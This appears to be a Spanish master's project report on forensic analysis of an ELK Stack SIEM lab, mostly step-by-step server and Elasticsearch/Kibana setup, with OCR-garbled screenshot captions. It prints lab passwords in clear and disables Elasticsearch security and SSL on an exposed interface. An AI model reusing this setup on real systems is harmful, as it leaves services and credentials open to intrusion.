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Resumen

El presente proyecto de la Maestria en Ciberseguridad aborda el Analisis Forense
Digital de un sistema SIEM basado en la pila ELK Stack (Elasticsearch, Logstash y Kibana),

desplegado sobre un entorno controlado de virtualizacion.

El objetivo principal fue reconstruir la linea de tiempo de un ciberataque, identificar
los vectores de entrada y determinar el alcance del compromiso en una infraestructura de

monitoreo centralizada.

Para la ejecucion, se implementé una topologia de red utilizando GNS3 y VMware,
integrando un servidor Ubuntu (SIEM), un cliente Windows 10 y estaciones de ataque y

analisis con Kali Linux.

La metodologia se dividié en dos fases criticas: la ofensiva, donde se ejecutaron
simulaciones de ataques de fuerza bruta (Hydra), escaneo de vulnerabilidades (Nmap),
creacion de usuarios ilegitimos ("atacanteg7") e inyeccion de payloads mediante Metasploit;

y la fase defensiva/forense, enfocada en la adquisicién y analisis de evidencias.

El proceso forense incluy6 la extraccion de memoria RAM en caliente utilizando
LiIME y la creacién de imagenes de disco forenses via red mediante dcfldd, asegurando la

integridad de los datos mediante hashing.

El analisis posterior, realizado con Autopsy 4.22 y Volatility3, permitio identificar
artefactos criticos: manipulacion de logs, credenciales expuestas en texto claro, sesiones
SSH no autorizadas y procesos anémalos (como psimon e inyecciones en procesos Java)

vinculados a la actividad del atacante.
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Los resultados confirman la capacidad de detectar intrusiones y reconstruir eventos
de seguridad mediante el analisis correlacionado de logs y memoria en entornos SIEM no

propietarios.

Palabras Clave: Ciberseguridad, Analisis Forense Digital, SIEM, ELK Stack,

Volatility3, Autopsy, Respuesta a Incidentes.
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Abstract

This project, part of the Master in Cybersecurity, addresses the Digital Forensic
Analysis of a SIEM system based on the ELK Stack (Elasticsearch, Logstash, and Kibana),

deployed within a controlled virtualization environment.

The main objective was to reconstruct the timeline of a cyberattack, identify entry
vectors, and determine the scope of the compromise within a centralized monitoring

infrastructure.

For the execution, a network topology was implemented using GNS3 and VMware,
integrating an Ubuntu server (SIEM), a Windows 10 client, and attack/analysis stations

running Kali Linux.

The methodology was divided into two critical phases: the offensive phase, which
involved simulated brute-force attacks (Hydra), vulnerability scanning (Nmap), creation of
illegitimate users ("atacanteg7"), and payload injection using Metasploit; and the

defensive/forensic phase, focused on evidence acquisition and analysis.

The forensic process included live RAM extraction using LIME and forensic disk

imaging via network using dcfldd, ensuring data integrity through hashing.

Subsequent analysis, performed with Autopsy 4.22 and Volatility3, allowed for the
identification of critical artifacts: log manipulation, cleartext credentials exposure,
unauthorized SSH sessions, and anomalous processes (such as psimon and injections into

Java processes) linked to the attacker's activity.
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The results confirm the ability to detect intrusions and reconstruct security events

through the correlated analysis of logs and memory in non-proprietary SIEM environments.

Keywords: Cybersecurity, Digital Forensics, SIEM, ELK Stack, Volatility3, Autopsy,

Incident Response.
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1. Introduccion

1.1. Definicion del proyecto

El presente proyecto consiste en la realizacion de un Analisis Forense Digital a un
sistema SIEM (Security Information and Event Management) que no utiliza la plataforma
Wazuh, optando en su lugar por la implementacion de la pila ELK Stack (Elasticsearch,
Logstash y Kibana). El proyecto se centra en investigar incidentes de seguridad mediante el

uso de los registros y datos recopilados por este sistema centralizado.

Para su ejecucion, se disefidé y montd un laboratorio controlado de virtualizacion que
simula una infraestructura de red real. Este entorno incluye un servidor Ubuntu configurado
como SIEM con ElasticStack 8.19.7, una maquina victima con Windows 10, y equipos con
Kali Linux desempefiando roles tanto de atacante (para generar incidentes reales) como de
analista forense. El nucleo del proyecto es validar la capacidad de rastrear, preservar y

analizar evidencia digital dentro de esta arquitectura especifica.

1.2. Justificacion e importancia del trabajo de investigacion

La implementacién de un equipo de respuesta a incidentes eficaz requiere
procedimientos sdlidos para identificar, recuperar y analizar evidencias, tareas propias de la
Ciencia Forense Digital. La importancia de esta investigacion radica en abordar el analisis
forense en un entorno SIEM "no Wazuh" (especificamente ELK Stack). A diferencia de
plataformas como Wazuh que ya integran capacidades de EDR y analisis de

comportamiento, un SIEM puro basado en ELK requiere un enfoque forense especializado
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para extraer y correlacionar datos de fuentes diversas como firewalls, servidores y

endpoints.

Este trabajo es crucial para demostrar cémo, mediante el uso de herramientas como
Elasticsearch, Logstash y Kibana, es posible reconstruir la linea de tiempo de un ataque,
identificar el punto de entrada y determinar el alcance de una brecha de seguridad. Ademas,
el proyecto aporta valor al documentar metodologias para generar informes legalmente
admisibles y mejorar las estrategias de defensa de las organizaciones ante incidentes de

ciberseguridad.

1.3. Alcance

El alcance de este proyecto abarca las siguientes areas y actividades limitadas al

entorno de laboratorio desplegado:

Infraestructura: Implementacién de un laboratorio virtual utilizando GNS3 y VMware
Workstation Pro, compuesto por un enrutador, un servidor Ubuntu 24.04 (SIEM), un cliente

Windows 10 y estaciones Kali Linux.

Despliegue del SIEM: Instalacion y configuracién completa del Elastic Stack (Java,

Elasticsearch, Logstash, Kibana y Filebeat) para la recoleccion y visualizacion de logs.

Simulacion de Amenazas: Ejecucion controlada de ciberataques contra la

infraestructura del SIEM, incluyendo escaneos de red (Nmap), ataques de fuerza bruta
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(Hydra), creacion de usuarios no autorizados y uso de frameworks de explotacion

(Metasploit) para generar "ruido" y registros de eventos.

Adquisicion Forense: Extraccion de evidencia digital volatil (memoria RAM) utilizando
LiIME en tiempo real y adquisicion de imagenes de disco forenses mediante la herramienta

dcfldd, garantizando la integridad mediante hash (MD5/SHA256).

Andlisis Forense: Examen detallado de los artefactos recolectados utilizando
herramientas especializadas como Autopsy 4.22.1 (para analisis de disco y logs) y Volatility3
(para analisis de memoria), con el fin de detectar procesos sospechosos, conexiones

anomalas y manipulacién del sistema.

1.4. Objetivos

1.4.1. Objetivo General

Realizar el analisis forense digital de un sistema SIEM basado en ELK Stack (no
Wazuh) para reconstruir la linea de tiempo de un ataque informatico, identificando el vector
de entrada, el alcance del compromiso y la atribucion de las acciones maliciosas, con el fin

de mejorar las defensas de la infraestructura.

1.4.2. Objetivos Especificos
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Implementar un entorno de laboratorio virtualizado con la pila ELK (Elasticsearch,
Logstash, Kibana) sobre Ubuntu Server para centralizar y monitorear los eventos de

seguridad de la red.

Ejecutar simulaciones de ataques cibernéticos (fuerza bruta, escaneo de puertos,
inyeccion de payloads) contra el servidor SIEM para generar registros de incidentes

y evidencias digitales trazables.

Adquirir evidencias digitales volatiles y no volatiles del sistema comprometido
utilizando metodologias forenses y herramientas como LiME y dcfldd, asegurando su

preservacion mediante calculo de hashes.

Analizar las evidencias recolectadas (imagenes de disco y volcados de memoria)
mediante software forense (Autopsy y Volatility) para identificar usuarios ilegitimos,

procesos maliciosos y configuraciones vulneradas.

Documentar y presentar los hallazgos del analisis para validar la secuencia del

ataque vy la efectividad del monitoreo del SIEM ante los incidentes generados.
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2. Revision de Literatura

2.1. Estado del Arte

En los ultimos anos, la investigacion sobre analisis forense digital ha enfatizado el
uso de plataformas SIEM alternativas a Wazuh, como ELK Stack (Elastic Security), Splunk o

Graylog, para centralizar y correlacionar grandes volumenes de registros de seguridad.

Estos sistemas SIEM recopilan eventos de red, sistemas y aplicaciones, aplican
reglas de correlacion y analisis avanzado (incluyendo aprendizaje automatico) para detectar
amenazas y anomalias. Bhardwaj et al. (2025) ejemplifican este enfoque: implementaron un
SIEM personalizado basado en Elasticsearch que correlaciona logs de Sysmon para
detectar ataques de escalada de privilegios, confirmando que eventos especificos de

registro (IDs 12 y 7) brindan “evidencia forense critica” al reconstruir la cadena de ataque.

De igual forma, se han propuesto marcos proactivos que integran SIEM con marcos
de amenazas y normas internacionales. Yang et al. (2025) presentan un procedimiento
operativo estandar (P-DEFSOP) que combina SIEM/MDR con el marco MITRE ATT&CK y
herramientas forenses automatizadas, mejorando la deteccién y el analisis oportuno de
amenazas mientras se garantiza la integridad de la evidencia digital. Ademas, advierten que
los SIEM convencionales suelen pasar por alto una gran proporcion de técnicas ATT&CK:
se estima que detectan apenas el 21% de los métodos conocidos, lo que motiva la
integracion de inteligencia de amenazas proactiva. Otra linea de investigacion reciente es la
reconstruccion de cronologias de ataque mediante grafos de procedencia: por ejemplo,

SecTracer (Lee et al., 2025) emplea redes definidas por software (SDN) para recolectar



Analisis Forense Digital de un SIEM no WAZUH 6

datos y construir grafos causales que permiten visualizar de manera clara la historia

completa de una intrusion.

En cuanto a herramientas concretas, la literatura compara la eficacia de distintas
soluciones SIEM en el contexto forense. Sajan et al. (2025) describen herramientas como
Graylog —plataforma de cdédigo abierto con paneles personalizables para gestion
centralizada de logs—, Splunk —soluciéon comercial muy usada con capacidades avanzadas
de indexacion y visualizacién— y ELK Stack —suite open source (Elasticsearch, Logstash,

Kibana) escalable para ingesta y analisis de logs.

Estudios recientes demuestran que cada plataforma tiene ventajas y limitaciones:
por ejemplo, una tesis comparativa de 2025 encontré que SIEM basicos (como Syslog-ng)
detectan incidentes mas rapido, mientras que soluciones avanzadas como Splunk ofrecen
analisis mas consistentes. Sin embargo, la tendencia general es aprovechar la capacidad de
analisis de logs de estas herramientas para impulsar la respuesta a incidentes y la
investigacion forense. Asimismo, se observa una evolucion hacia la incorporacion de
técnicas de aprendizaje automatico y analisis de comportamiento en SIEM, con el fin de

reducir falsos positivos y adaptarse a tacticas de ataque emergentes.

Actualmente, se muestra un enfoque cada vez mas integrado: los entornos SIEM
modernos combinan fuentes de datos heterogéneas, correlacion en tiempo real y marcos de
amenazas actualizados (p. ej. MITRE ATT&CK) para facilitar la extraccién de evidencias, la

reconstruccion del ataque y la respuesta rapida ante incidentes.
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2.2, Marco Teérico

El analisis forense digital se define como la disciplina encargada de detectar,
adquirir, procesar y analizar datos almacenados en medios electronicos. Su objetivo
principal es extraer de esos datos la informacién necesaria para reconstruir eventos
delictivos y presentar conclusiones como evidencia admisible en procesos legales. En la
practica, esto implica seguir procesos metodoldgicos que preserven la integridad de la
evidencia (cadena de custodia, cifrado, hashing) y aplicar técnicas de correlacion y
cronologia para reconstruir incidentes. Por analogia con la investigacién criminal, cada
registro de evento (log) actia como un “punto de datos” que ayuda a los peritos a ver la
secuencia de eventos ocurridos en el sistema. En este sentido, los registros de eventos son
la fuente primaria de evidencia digital; representan el “repositorio” de informacion sobre la
actividad delictiva y deben recolectarse antes de reiniciar o modificar los sistemas
afectados. Graylog sefiala que es esencial “procesar y analizar” estos datos de logs para
integrarlos en la investigacion, alimentando los sistemas SIEM y SOAR y previniendo

incidentes futuros.

Por otro lado, las plataformas SIEM (Security Information and Event Management)
centralizan los logs de multiples fuentes —red, endpoints, servidores, aplicaciones, nube,
dispositivos de seguridad, etc.— y aplican reglas de correlacion para detectar patrones
sospechosos. Un SIEM permite consolidar datos de seguridad y analizarlos desde un unico

punto de vista, lo que minimiza el riesgo de pasar por alto incidentes criticos.

Los SIEM modernos suelen incorporar aprendizaje automatico para ajustar
automaticamente la precisién de las alertas y detectan desviaciones del comportamiento

normal. Ademas, es comun mapear los eventos detectados a tacticas y técnicas conocidas
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(MITRE ATT&CK), enriqueciendo asi el analisis forense con inteligencia de amenazas. Las
fases de respuesta a incidentes normalizadas (por ejemplo, ISO/IEC 27035) incluyen una
etapa de investigacion forense, donde se emplean estos registros para identificar la causa

raiz, el origen y el alcance del incidente.

Existen multiples herramientas que implementan estas funciones. Dentro de las
alternativas a Wazuh, se destacan ELK Stack, Splunk y Graylog. ELK (Elastic Stack) es una
suite de cddigo abierto que permite ingerir, almacenar, buscar y visualizar grandes
volumenes de logs de forma escalable. Splunk Enterprise es una solucién comercial de alto
rendimiento que indexa y analiza datos generados por maquinas, ofreciendo avanzadas
interfaces de visualizacion y alertas. Graylog, por su parte, es una plataforma open source
para gestidn centralizada de registros, que soporta paneles y busquedas personalizables.
Tedricamente, todas estas plataformas permiten crear vistas cronoldgicas de eventos,

generar alertas en base a reglas o ML, y colaborar en la investigacién de incidentes.

En conjunto, las herramientas SIEM proporcionan la infraestructura para la
recoleccion forense de evidencias digitales, facilitando la extraccion de artefactos (archivos
de log, metadatos, trafico de red) y su analisis en el contexto de la reconstruccion de

ataques.
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3. Desarrollo

Como parte del analisis y estudio de la Tecnologia SIEM NO WAZUH, el grupo de
trabajo se ha propuesto realizar el analisis al sistema SIEM con ELK STACK (E =
Elasticsearch, L = Logstash, K = Kibana, Pila).

ELK STACK

Figura 1

ELK STACK

E Elasticsearch

Nota: Fuente: https://www.hiberus.com/crecemos-contigo/que-es-un-

stack-de-elk-y-que-ventajas-tiene-implementarlo/

¢ Qué es un STACK de ELK?

Un stack de ELK es una combinacioén de tres herramientas de codigo
abierto: Elasticsearch, Logstash y Kibana, que trabajan juntas para proporcionar una

solucion completa de analisis y monitoreo de registros.
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Descripcion del Entorno de Pruebas

Para el presente analisis forense se implementara un laboratorio controlado

conformado por cuatro equipos virtuales, cada uno con un rol especifico dentro del entorno:

Equipo Router: Servira como enrutador principal, permitiendo la salida hacia la nube

y facilitando la conectividad entre los distintos componentes del laboratorio.

Equipo con Ubuntu: En este servidor se instalara y configurara la suite ELK Stack
(Elasticsearch, Logstash y Kibana), la cual permitira la recoleccion, gestion y visualizacion

de los registros generados durante las pruebas.

Equipo con Kali Linux (Atacante): Este dispositivo virtual representara el rol de
cracker. Sera responsable de ejecutar ataques dirigidos contra la infraestructura del
laboratorio, intentando comprometerla e introducir malware para simular incidentes de

seguridad reales.

Equipo con Kali Linux (Analista Forense): Este equipo se encargara de la
monitorizacién en tiempo real de las actividades registradas en el servidor con ELK Stack.
Ademas, realizara la extraccion de la memoria RAM del sistema comprometido con el

objetivo de efectuar un analisis forense detallado.

Topologia
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Figura 2

Topologia
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Primero descargamos UBUNTU 24.0.4 (ubuntu-24.04.3-live-server-amd64.iso) para

luego instalar en la maquina virtual VMware Workstation Pro del siguiente enlace:

https://ubuntu.com/download/server

Una vez descargada procedemos a instalar el iso en nuestro VMware, la clave y el

usuario por defecto que se colocaron son elk, escogemos la opcidon de crear nueva maquina

virtual, dejamos por defecto tipical, escogemos la ruta donde esta el iso.


https://ubuntu.com/download/server
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Figura 3

Instalacion de Workstation Pro
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Le ponemos un nombre a la imagen que se va a crear y escogemos la ruta donde se

va a crear, el espacio en disco lo dejamos en 100GB, y por defecto la segunda opcion para

crear el particionado en el disco.

Figura 4

Parametros de instalacion
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-
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Nos da la descripcion del disco creado y le damos a finalizar.

Figura 5

Confirmacion de parametros
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Nos lanza a la interfaz de instalacién, escogemos la primera opcion

Figura 6

Arranque inicial de la Maquina Virtual (VM)

STry or lnitall Ukante Secves |
U

Hith tha HHE kasrnel

Escogemos el lenguaje en espaiiol

Figura 7
Seleccioén de idioma de la VM

HELleoiwmsn) Blerrenue| weicome ! So0po nocasoBaTs | Welkow!

Configuramos el teclado en espariol y damos enter en HECHO

Figura 8
Configuracion del teclado en espafiol de VM

conf Lguracion del teclado
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Escogemos el tipo de instalaciéon, en nuestro caso escogemos la primera opcion de

servidor y damos enter en HECHO

Figura 9

Tipo de instalacion de VM

Choose the tupe of installation

Nos pide configurar la red, en nuestro caso la dejamos por DHCP para poder

trabajar remotamente que es el objetivo de este tema de analisis y damos en HECHO,

Figura 10
Configuracion de red de VM

Hetwork conf igurat ion

Cont lgure &l menos una Intertaz para que este seryldor g
zuticlente pare las actuallzecliones

Nos va a pedir el proxy en este caso por defecto y damos en HECHO.
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Figura 11

Configuracion de proxy de VM

Prowy cond dpurat Lon

Se conecta al servidor de Ubuntu y va a comenzar a descargarse las actualizaciones

para luego instalarlas, damos en HECHO

Figura 12

Configuracién de actualizaciones de Ubuntu
ubunty acchive nirror configuration

AEC o e, bl con unt i

Nos pide que escojamos donde se va a ejecutar el ISO en este caso colocamos en

el disco de 100GB que creamos y damos en HECHO

Figura 13

Seleccion de ISO

Gulded storage confliguration
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Nos da el resumen del sistema de archivos que va a crear a lo cual aceptamos y

damos en HECHO

Figura 14

Configuracion del almacenamiento

Storage conf igurat ion

RESUMEN DEL I MA [

Confirmamos la instalacion y damos en continuar

Figura 15

Confirmacién de la instalaciéon

Contirmar acclon destruct

below will begin the lnst

ant to continue?

[ Hao 1

[ Continuar

Nos pide que llenemos los siguientes datos: nombre de la maquina (elk), nombre del
servidor (elk), nombre de usuario (elk) y una contrasefia la misma que sera para todas las

configuraciones en este equipo (elkstackG7)
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Figura 16

Configuracion de usuario

Frofile configuration [ Help

Er assword you will use to log in to the sustem. You can conflgure SSH & n & later screen, but a

Elija un nombre de ususrlo

Ellja una contrasefa:

conf irme la contrasens:

Damos en HECHO y nos pedira una confirmacion, le dejamos por defecto y damos

en CONTINUAR

Figura 17
Ventana de confirmacion

Upgrade to Ubuntu Pro [ Help

Upgrade this machine to Ubuntu Pro fo on a muck ider range of packages, unt 2034, Assists with FedRAHP |
FIPS, STIG, HIPAA and other compliance or hardening reguirener

[ About Ubuntu Pro = ]
i Enable Ubuntu Pro

) Skip for now

Marcamos e Instalamos el servidor SSH y damos en HECHO

Figura 18
Configuracion de SSH

SEH oonf Lgurat iom
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Nos pide escoger que otros servicios deseamos instalar, en nuestro caso ninguna y

damos ha HECHO

Figura 19

Configuracién de servicios para instalar

il m AfIFES Gl ToETaT [l il bt nrATEm,

Y comienza la instalaciéon

Figura 20

Inicio de la instalacion

Le damos clic a reiniciar
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Figura 21

Confirmacion de reinicio

[ View full log ]

[ Reiniclar ahora ]

Y esperamos a que comience la carga de la imagen

Figura 22

Carga de imagen

Para veracidad de la imagen nos imprime los SHA256 y las claves del sistema

Figura 23

Su SHA256 inicial

1 AN TYARARThml sdHAy N TY AAABRRDDE kbabd TADOF NG SeCk 1Y shSo U s AU ThU R g eh | BIWSSE

Ti/QpatMainalR
1wt BK
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Una vez culminada la instalacion no pedira que ingresemos con nuestro usuario y

nuestra clave

Figura 24

Login inicial en VM

Si todo es correcto ingresaremos al sistema donde procedemos a configurar el SSH

Figura 25

Configuracion posterior de SSH

A la maquina virtual la configuramos como Bridged para poder instalar las

actualizaciones y el ELK-STACK
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Figura 26

Seleccion de adaptador de red de tipo “puente” en VM

Wirtual Machine Settings
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Una vez ejecutado y corriendo el server procedemos a realizar las diferentes

actualizaciones, instalaciones y configuraciones.

Instalar Java

Dado que Elasticsearch esta desarrollado en Java, es necesario instalar Java. Antes

de eso, actualizamos el sistema ejecutando los siguientes comandos:

sudo apt update

sudo apt upgrade -y

Instalaremos OpendDK 17, la ultima version estable LTS que proporciona Java.

Procedemos a instalarla desde los repositorios estandar de Ubuntu mediante el

gestor de paquetes APT.

sudo apt install openjdk-17-jdk -y
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Figura 27

Instalacion de OpenJDK

gubuntul

nNger r

Para confirmar que Java esta instalado, ejecute el comando: java -versién

Figura 28

Comprobacion de instalacion de Java

17" 2825-10-21
it (build 17.@.17+10-Ubuntu=-124.04)

124.84, mixed mode, sharin
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Para poder mantener las conexiones desde el exterior con el servidor de UBUNTU-

ELK STACK procedemos a instalar el servicio de SSH, conexién segura.

Ejecutamos el comando:

sudo apt install openssh-client openssh-server -y

Figura 29

Instalacion del cliente OpenSSH
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Iniciamos el servicio SSH

Con este comando iniciamos el servicio SSH en tu Ubuntu 24.04:

sudo systemctl start ssh

Figura 30

Inicio de servicio SSH

root@ubuntu2404:~-# sudo systemctl start

Habilitar el servicio SSH

Habilitamos el servicio SSH en el arranque mediante el comando:

sudo systemctl enable ssh

Figura 31
Habilitacion de SSH

:-# sudo systemctl enable ssh

izing state of & wi service script with Jusr/lib/systemd/systemd-sysv-in
B

Executing: fusr/Llib/systemd temd-sysv-install enabl

==h

Habilitamos el firewall para SSH.

El siguiente comando es esencial para configurar un firewall para controlar el trafico

de red en el server

sudo ufw enable
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Figura 32

Habilitacion de UFW

root@ubuntu2404:~# sudo ufw enable

Firewall is active and enabled on system startup

Recargar el firewall.

Para aplicar los cambios actualizados, recargamos el Firewall usando este comando:

sudo ufw reload

Figura 33

Recarga del firewall

root@ubuntu2404:-# sudo ufw reload

Firewall reloaded

Verificar el estado de SSH

Ahora, podemos verificar el estado SSH existente en nuestro sistema Ubuntu:

sudo systemctl status ssh
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Figura 34

Verificacion de estatus del SSH

e
S5min ago

39208 12

elk(uid=1000) by

Ahora ya podemos conectarnos remotamente al servidor con la clave (elk) para

poder extraer la RAM.

Nos conectamos desde KALI mediante SSH para poder realizar las instalaciones y

configuraciones necesarias para levantar nuestro SIEM

Figura 35

Conexion desde Kali para habilitar SIEM

elk®192.168.100.63"'s password
welcome to Ubuntu

26.04.3 LTS (GNU/JLINnUX

ubuniu.com/pro

System information as 29 ago 2025

rstem load

192.168.100
2800:bf0:37
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Nos logeamos y colocamos la clave para root con ello no tendremos inconvenientes

al utilizar el sudo

Figura 36

Logeo en Kali.

Last login: Fri Aug 29 14:21:26 2025 from 192.

elkal:~% sudo su
[sudo] password for elk:

Instalacion y Configuracion Del SIEM

Instalamos el Elastic Stack

De forma predeterminada, los tres componentes de la pila ELK no estan disponibles
en los repositorios aptos de Ubuntu. Por lo tanto, se debe agregar manualmente la lista de
fuentes de paquetes de Elastic. Para ello, primero agregamos la clave GPG mediante el

comando.

wget https://artifacts.elastic.co/GPG-KEY-elasticsearch -0

/etc/apt/keyrings/GPG-KEY-elasticsearch.key

Figura 37

Importacion manual de paquetes desde Elastic

elast 10@%[

M (8 19 MBSs)

Agregamos el repositorio Elasticsearch:


https://artifacts.elastic.co/GPG-KEY-elasticsearch%20-O%20/etc/apt/keyrings/GPG-KEY-elasticsearch.key
https://artifacts.elastic.co/GPG-KEY-elasticsearch%20-O%20/etc/apt/keyrings/GPG-KEY-elasticsearch.key
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echo "deb [signed-by=/etc/apt/keyrings/elasticsearch.gpg]
https://artifacts.elastic.co/packages/8.x/apt stable main" | sudo tee

/etc/apt/sources.list.d/elastic-8.x.1list

Figura 38

Inclusion del repositorio Elasticsearch

Nos da un error al momento de cargar las llaves para ello realizamos los siguientes

pasos:
Creamos un nuevo directorio: mkdir -p /etc/apt/keyrings, y extraemos las

claves al nuevo directorio.

Figura 39

Creacion de directorio /etc/apt/keyrings

$ sudo mkdir -p /etc/apt/keyrings

curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo

gpg --dearmor -o /etc/apt/keyrings/elasticsearch.gpg

Figura 40

Ejecuciéon de comando curl -fsSL

Agregamos el repositorio APT de elastick 8
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echo "deb [signed-by=/etc/apt/keyrings/elasticsearch.gpg]
https://artifacts.elastic.co/packages/8.x/apt stable main" | sudo tee

/etc/apt/sources.list.d/elastic-8.x.1list

Figura 41

Inclusion del repositorio APT de elastick 8

Realizamos la actualizacion respectiva

Figura 42

Actualizacion para inclusién de elastick 8

le
ando arbol de
endo la informe
Se pueden actualizar

--upgradable» para verlos.

Instalamos Elasticsearch

Para instalar Elasticsearch, ejecutamos el comando:

sudo apt install elasticsearch -y
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Figura 43

Instalacion de Elasticsearch

@ para eliminar y 2

Una vez completada la instalacién, la informacién de autoconfiguracion de

seguridad se imprimira en la pantalla.

Figura 44

Autoconfiguracién de seguridad

Una vez completada la instalacién, iniciamos el servicio Elasticsearch ejecutando los

siguientes comandos.
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sudo systemctl daemon-reload

sudo systemctl start elasticsearch

Figura 45

Inicio del servicio Elasticsearch

emct]l daemon

emctl

Habilitamos el servicio Elasticsearch para que se inicie automaticamente después de

la instalacion.

sudo systemctl enable elasticsearch

Figura 46

Habilitacion del servicio Elasticsearch

Para confirmar que Elasticsearch se esta ejecutando, ejecutamos el comando:

sudo systemctl status elasticsearch

Figura 47

Verificacion de estatus de Elasticsearch
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Configuramos Elasticsearch

Antes de continuar, se debe de realizar algunas modificaciones en Elasticsearch,

accedemos al archivo de configuracién de Elasticsearch.

sudo nano /etc/elasticsearch/elasticsearch.yml

Para comenzar, debemos darle un nombre descriptivo a nuestro cluster

descomentando la directiva cluster.name y proporcionando su nombre preferido.

Aqui llamamos a nuestro grupo sample-cluster.

cluster.name: proyectoPBL-G7

Figura 48

Creacién de grupo sample-cluster

- Erc-'-,.-c-r: toPBL -GT

A continuacion, le damos un nombre descriptivo para el nodo descomentando la

directiva node.name.

node.name: nodo-de-busqueda-G7

Figura 49

Asignacion del nombre descriptivo para el nodo
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De forma predeterminada, Elasticsearch solo es accesible en el host local. Para que

sea accesible desde el exterior, descomentamos y actualizamos el atributo:

network.host: 0.0.0.0

http.port: 9200,y configuramos el puerto para la conexion externa.

Figura 50

Configuracion del puerto para conexion externa

Este apartado del archivo de configuracion de Busqueda elastica (elasticsearch.yml)

que menciona para mejorar el rendimiento y la estabilidad de Elasticsearch, especialmente
en entornos de produccion.

Vamos a:

bootstrap.memory lock: true

Este parametro sirve para bloquear la memoria del proceso de Elasticsearch en la

RAM (evita que el sistema operativo la intercambie al disco con swap).

Por qué bloquear la memoria?

Elasticsearch usa una gran cantidad de memoria para surushap de JVM, si esa

memoria es enviada al swap, el rendimiento cae drasticamente.
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Bloquearla evita problemas de latencia o caidas cuando el sistema entra en uso

intensivo de RAM.

Por ser un ambiente de pruebas la dejamos por defecto.

Figura 51

Mensaje de confirmacion de ElasticSearch

A continuacion, ubicamos la directiva xpack.security.enabled: y la configuramos

como false, http ssl y transport en false, esto solo para pruebas de produccion.

Figura 52

Configuracion de flase, hhtp ssl y transport

Guardamos los cambios y salimos del archivo de configuracién. Para aplicar los

cambios, reiniciamos Elasticsearch:

sudo systemctl restart elasticsearch
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Figura 53

Reiniciado de Estasticsearch

roota@l:~# sudo systemctl restart elasticsearch

En este apartado nos da error de memoria ya que anteriormente configuramos para

que bloquee la memoria conforme se necesite

Figura 54

Colocacion de contraseina de ELK

tl restart elasticsearch
Lk

Para resolver el inconveniente creamos la ruta y el archivo necesario con los

siguientes comandos y editamos el archivo

Figura 55
Creacion de ruta y configuracién para Elasticsearch

:md/system/elasticsearch.service.d

stem/elasticsearch.service.d/override.conf

Agregamos las siguientes lineas

[Service]

LimitMEMLOCK=infinity

Guardamos y cerramos el archivo
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Figura 56

Guardado de archivo override luego de su configuracion

GNU nano 7.2
[IService

LimitMEMLOCK=infinity

Reiniciamos los servicios con los siguientes comandos

sudo systemctl daemon-reexec
sudo systemctl restart elasticsearch

sudo systemctl status elasticsearch

Para comprobar si el servicio Elasticsearch se esta ejecutando, enviamos una

solicitud HTTP utilizando la utilidad Curl como se muestra:

curl -u elastic 'http://localhost:9200'

Figura 57

Comprobacién de servicio Elasticsearch mediante curl

curl -X GET "localhost:9200"

35
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Figura 58

Colocacion de parametros -X GET "localhost:9200"

En esta parte es importante revisar las configuraciones ya que nos da error al correr

la aplicacion desde el navegador, para ello lo primero que hacemos es resetear la clave

Figura 59

Revision de configuraciones para Elasticsearch

Luego debemos dar permisos en el firewall al puerto con el que estamos trabajando,

primero verificamos el estado
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Figura 60

Otorgacion de permisos al firewall

LOW Ié
ALLOW Anywher
ALLOW Anywhe

ALLOW

Revisamos las IP-TABLES para verificar si en efecto tenemos permiso del firewall

Figura 61

Revision de IP-TABLES

destinatio
0.9/0

stination

0.0.0.¢
= S

Chain

targex

Agregamos el puerto 9200 al firewall que es el puerto que utiliza ELASTIC

37
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Figura 62

Inclusion de puerto 9200 en el firewall

rootal:~# sudo ufw allow 9200/tcp

Rule added
Rule added (v6)

Verificamos desde el navegador; Usuario y clave elastic / elkstackG7

Figura 63

Verificacion desde el navegador

¥ O 192165000.71:9200 ® 3 Discower - Elistic
“ c A No es seguro  192,168.100.71:9200

ag

aa

ar formato al texto

“mame” : “nodo-de-busqueda-G77,
“cluster_name® : “proyectoPBL-G7",
"glugter_wuid” : TI7APYTARSSwsHBCEHeT _Jg7,
"wersion” i {

“number® ;1 "B.19.77,

“build flawor® @ “default”,

“build_type® : “deb”,

“huild kagk" : T10Sd86RERE032 T4 BLed 142551021 Tebo 2TALT,
“bwild_date” : "2825-11-@7T13:35: 54, M2 24T,
“build_snapshot™ 1 false,

“lucene_version® 1 "9.12.2%,
“minimum wire_ compatibility_version® : ®7.17.8%,
“minimum_index_compatibility version™ : “7.8,@8"
Ie .
“tagline™ @ “Yow Know, for Search®

Antes de seguir con las instalaciones y configuraciones es necesario cambiar la
zona horaria para que no exista inconvenientes al momento de sincronizar los equipos

dentro de la red.

Ingresamos: sudo timedatectl set-timezone America/Guayaquil
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Figura 64

Cambio de zona horaria en ELK

Instalar Kibana

El siguiente componente para instalar es Kibana. Se trata de una potente
herramienta web de visualizacién y exploracion de datos para visualizar registros y series

temporales.

Ofrece paneles potentes y con numerosas funciones, asi como una variedad de

graficos como graficos de barras, graficos circulares, histogramas, mapas de calor, etc.

Para instalar Kibana, ejecutamos el siguiente comando:

sudo apt install kibana -y

Figura 65

Instalacion de Kibana
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Una vez instalado, iniciamos y habilitamos Kibana para que se inicie

automaticamente.

sudo systemctl start kibana

sudo systemctl enable kibana

Figura 66

Habilitacion de Kibana

rootal:~# sudo systemctl daemon-reload

rootal:~# sudo stemctl start kibana
rootal:~# sudo systemctl enable kibana

Comprobamos el estado de Kibana ejecutando: sudo systemctl status kibana

Figura 67

Verificacion de estatus de Kibana

(Limit:
iIM (peak: 935.¢

CoTroup: 4 tem.slice/kibana.service

Kibana escucha en el puerto TCP 5601 por defecto, configuramos el puerto ya que

necesita de la clave de Elastic para su conexién: verificamos sudo ss -pnltu | grep

5601

Figura 68

Configuracién de Kibana

~H Sudc
tcp LISTEN ©

e",pid=2074734,Fd=23)
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Configuramos Kibana

Se necesitan algunos ajustes adicionales en Kibana para lograr una experiencia

fluida y permitir que funcione con otros componentes u conexiones externas.

Entonces, accedemos al archivo de configuracion de Kibana con el comando

sudo nano /etc/kibana/kibana.yml

Desmarcamos el comentario de la linea a continuacion.

Server.port: 5601 y server host 0.0.0.0

Figura 69

Configuracién de puertos de Kibana

Para permitir conexiones de usuarios remotos, configuramos las siguientes
directivas, adicional a esto hay que tener en cuenta que se volvio a generar la clave de
Elastic y es la que colocamos en el archivo de configuracidn para exista comunicacion entre

las dos aplicaciones.

kivana: X3KgCeBTSvGWPGT7gE3iw
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Figura 70

Configuracion de directivas para usuarios remotos

Guardamos los cambios y salimos del entorno para aplicar los cambios reiniciamos

